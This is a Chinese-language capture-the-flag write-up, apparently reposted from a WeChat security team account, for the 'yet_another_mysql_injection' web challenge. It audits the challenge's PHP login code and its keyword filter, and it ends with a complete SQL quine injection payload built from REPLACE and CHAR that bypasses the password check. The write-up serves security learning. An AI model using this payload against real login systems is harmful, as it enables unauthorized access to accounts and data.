Web | yet_another_mysql

admin 2022年10月20日23:03:34评论59 views字数 3308阅读11分1秒阅读模式

Web | yet_another_mysql_injection(第五空闲)

Web  |  yet_another_mysql

考察点:PHP语言,SQL语言,SQL注入,quine注入

一、打开题目

Web  |  yet_another_mysql

二、显然这个道题就是一个SQL注入的题目,看一下源代码

Web  |  yet_another_mysql

这个页面的源代码查看有所不同,他把源代码路径隐藏在了html里面,注释了起来,所以很难发现

Web  |  yet_another_mysql

所以我们查看源代码的url其实是:

http://challenge-f9c2711ee343826a.sandbox.ctfhub.com:10800/?source

三、源代码的审计(php代码的审计)

Web  |  yet_another_mysql

代码解析

这个PHP代码倒不是很难简单解释一下吧

Fir.首先:第一区块的代码

Web  |  yet_another_mysql

    第一行无非就是说我这个源代码放在了lib.php这个php文件中,紧接着,function这个类似与python中的def函数(自己定义了一个函数),根据地下的语句我可推断出了,alertMes()这个函数有点像python里面的print()函数,只不过,alertMes()这个函数可以返回连个值,第一个参数会显示在页面上,第二个参数会把页面跳到另外一个目标php文件(总结下来,我理解的第一区块应该是处理某一种用户输入情况下的页面反应的。

Web  |  yet_another_mysql

   Son.然后我们接下来解释第二区块:同样定义了一个checkSql函数,函数内部只包含了一个preg_match()函数(此函数有两个参数,一个是供查询的字符库,另一个是被查询的字符串,这个函数会根据供查询的字符库查询被查询的字符串中是否含有字符库中的字符,我想认真读了的人会懂的吧?),紧接着验证了我在Fir.里面的判断,要是$s里面含有字符库里面的字符,则页面的路径会引导到/index.php,并且页面会显示“hacker”(让我总结第二区块其实就是过滤区块,字符库里面所包含的字符,是不能够运用到注入过程中的,否则就会报错。)

Web  |  yet_another_mysql

    Thd.第三区块(重要!):这里isset()函数,这个函数非常重要,isset()函数用于检测变量是否已设置并且非NULL,所以他的返回值是布尔值也就是(TRUE,False),并且当这个函数里面的有多个判断值时,当所有值为真时,函数输出结果才为True;接下“&&”这个符号代表的意思是逻辑与如果前面为假,后面的命令就不执行,如果前面为真则再执行后面命令,这样两条命令都会被执行;可以看出来这道题有多像实战,对于一个用户名是否为空的判断就要判断两次,第一次isset($_POST[‘username’]),另一次$_POST[‘username’] != ‘’,后面的对于密码的判断也有两次,紧接着就是两次用户输入值的获取,一次是用户名的获取一次是密码的获取,其实根据这个我们就可以判断出,对方数据库username的判断一定在password的左边,接下来才是重中之重!!!,if判断语句,判断的条件是,如果获取用户输入的用户名不绝对等于‘admin’(思考:!=和!==的不同,在这里会不会起作用?)那么就会跳转页面并且显示只有admin才可以登录,所以是不是间接性的告诉我们了用户名用户名就是:admin 那么这是一道注入密码的题也就可以脱口而出了吧?(这个区块总结起来最简单,就是用户名的判断)

Web  |  yet_another_mysql

    Frth.第四区块(重要):不用猜用户名判断都完成了,那这个第四区块肯定就是密码的判断了,而且这是注入密码的题,那这个一定就是突破这道题的关键了!,首先映入眼帘的就是第二区块命名的那个过滤字符的自定义函数checSql函数,接下来他干了一件我差点都没能理解的事情,他竟然把他的SQL判断用户名和密码的语句自己放出来了(懂SQL注入的人就知道,获得对方的SQL语句有多么重要了),然后紧接着它使用了一个函数mysqli_query()函数,这个函数的有两个参数,一个参数一般是固定的$con,另一个则必须是一段SQL语句,然后他会在所连接的数据库中执行这段SQL语句,并且返回SQL执行的结果;mysqli_fetch_array()函数;这个函数会把mysqli_query()函数的返回值里面的字段和值提取出来放入$row[]中,

比如:mysqli_query()输入值为$a=mysqli_query($con,"INSERT INTO websites (name, url, alexa, country)返回值为“(‘百度','https://www.baidu.com/','4','CN')",mysqli_fetch_array($a)的返回值就是:[0]--’百度’;[name]--’百度‘,[1]--’http....‘;

输入密码查看隐藏内容

--’http....’......,
懂了没?还不懂的话就别学了吧,真不适合你!(开个玩笑),那么都说到这里了,最好一个判断语句很好理解了吧,就是把从数据库里面取回的值跟用户输入的$password进行对比,要是完全可以对上的话就可以得到FLAG。

四、注入构思:其实这道题拿到手上挺棘手的,因为他过滤的字符简直是太多了,到现在我就略懂一点直接注入,堆叠注入,布尔注入,报错注入,命令注入,联合注入,时间盲注,时间盲注倒是可以试一试,但是我觉得花费的时间会太多,所以我想看看有没有一种可能可以绕过$row[’password‘] === $password,毫无疑问,世界上大佬还是多,外国一篇文章解决了这一切。

注入过程

Web  |  yet_another_mysql

    SQLi Quine,也就是quine注入

union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#'/**/AS/**/ch3ns1r#,

 分析过程

    什么是Quine注入:Quine 又叫做自产生程序,在 sql 注入技术中,这一种使得输入的 sql 语句和输出的 sql 语句一致的技术,常用于一些特殊的登陆绕过 sql 注入中。拆分看一下大结构,也就是

 REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39))咋们把它看成A,

"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')我们把他看成B

最后我们得到的简化版的payload:

   union/**/SELECT/**/REPLACE(A,CHAR(46),B)/**/AS/**/ch3ns1r#

   这里的CHAR(34),CHAR(39)分别是双引号和单引号,然后我们了解一下replace(object,search,replace)函数,把object对象中出现的search全部替换成replace,不理解?那你真不适合....,算了再讲一下,把这个函数换一下replace(A,search,B),把A出现的search全部用B替换,然后你会发现,答案最后经过执行后,返回值就是:  

REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")'),从而达成条件

Web  |  yet_another_mysql


希望大家多多关注!

Web  |  yet_another_mysql


Web  |  yet_another_mysql




原文始发于微信公众号(青云CWC安全团队):Web | yet_another_mysql

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月20日23:03:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Web | yet_another_mysqlhttp://cn-sec.com/archives/1361310.html

发表评论

匿名网友 填写信息